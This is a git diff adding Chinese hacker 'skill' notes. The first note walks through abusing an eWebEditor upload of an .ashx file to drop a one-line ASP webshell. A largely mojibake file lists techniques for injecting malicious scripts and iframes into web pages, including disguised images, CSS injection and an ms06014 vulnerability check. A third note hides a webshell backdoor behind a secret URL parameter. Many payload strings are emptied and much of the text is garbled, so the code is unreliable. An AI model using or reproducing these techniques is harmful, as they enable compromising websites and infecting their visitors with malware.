+上传成功,直接访问 + +http://www..xxxxx.com/ admin/eWebEditor/UploadFile/201082143554545.ashx 就会在当前目录生成一个 + +root.asp的一句话木马。 + +看上传文件里,root.asp 已经躺在那边了,用lake2的 一句话连接,看见亲切的hello word ! 搞定手工了。 + +有时候 网站过滤了常见的脚本类型却把 ashx给漏了,大家可以试试 ,菜鸟文章大牛见笑了。。 diff --git "a/skill/\345\256\214\346\225\264\344\270\200\345\245\227\347\275\221\351\241\265\346\214\202\351\251\254\344\273\243\347\240\201.txt" "b/skill/\345\256\214\346\225\264\344\270\200\345\245\227\347\275\221\351\241\265\346\214\202\351\251\254\344\273\243\347\240\201.txt" new file mode 100644 index 0000000..1f043f1 --- /dev/null +++ "b/skill/\345\256\214\346\225\264\344\270\200\345\245\227\347\275\221\351\241\265\346\214\202\351\251\254\344\273\243\347\240\201.txt" @@ -0,0 +1,100 @@ +����һ����ҳ�������� +һ:��ܹ��� + +��:js�ļ����� +���Ƚ����´��� +document.write(""); +����Ϊxxx.js�� +��JS��������Ϊ + +��:js���μ��� + +muma.txt�ɸij������׺ +��:body���� + +��:���ι��� +top.document.body.innerHTML = top.document.body.innerHTML + '\r\n'; +��:css�й��� +body { +background-image: url('javascript:document.write("")')} +��:JAJA���� + +��:ͼƬαװ + + + + +��:αװ���ã� + + + + +ʮ:�߼���ƭ + ҳ��Ҫ��ʾ������ + +ʮһ:�ж�ϵͳ���� + +404 + + + + + +ʮ��:�ж��Ƿ���ms06014���� + +ʮ��:���ܶ�ȡjs�Ĵ���demo +//��Ȣsrc�Ķ��� +var v = document.getElementById("advjs"); +//��Ȣsrc�IJ��� +var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src')); +document.write(""); +document.writeln(""); +document.writeln(""); +document.writeln(""); +document.writeln("<\/HEAD>"); +document.writeln(" "); +document.writeln("
                "); +document.writeln("
                <\/DIV><\/DIV><\/BODY><\/HTML>") +//����src�IJ������� +function getUrlParameterAdv(asName,lsURL){ +loU = lsURL.split("?"); +if (loU.length>1){ +var loallPm = loU[1].split("&"); +for (var i=0; i1){ +return loPm[1]; +}else{ +return ""; +} +} +} +} +return null; \ No newline at end of file diff --git "a/skill/[\346\263\225\345\256\242\344\272\214\345\221\250\345\271\264]PHP\350\277\207\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" "b/skill/\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" similarity index 93% rename from "skill/[\346\263\225\345\256\242\344\272\214\345\221\250\345\271\264]PHP\350\277\207\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" rename to "skill/\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" index 8bbde1f..6bd93ba 100644 --- "a/skill/[\346\263\225\345\256\242\344\272\214\345\221\250\345\271\264]PHP\350\277\207\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" +++ "b/skill/\347\213\227\345\244\247\351\251\254=\345\260\217\351\251\254=\344\270\200\345\217\245\350\257\235.txt" @@ -1,3 +1,5 @@ +[法客二周年] + //插到顶部 + +Response.Write(""); + +response.write "" + + +<%end if%>//插到底部 + +//访问时候要在文件后面加?xiaozhe=admin才可以访问 + +---------------------------------------------------- + +防止webshell后门 PHP + +alert('提示内容')"; + + + +//访问时候要在文件后面加?xiaozhe=admin才可以访问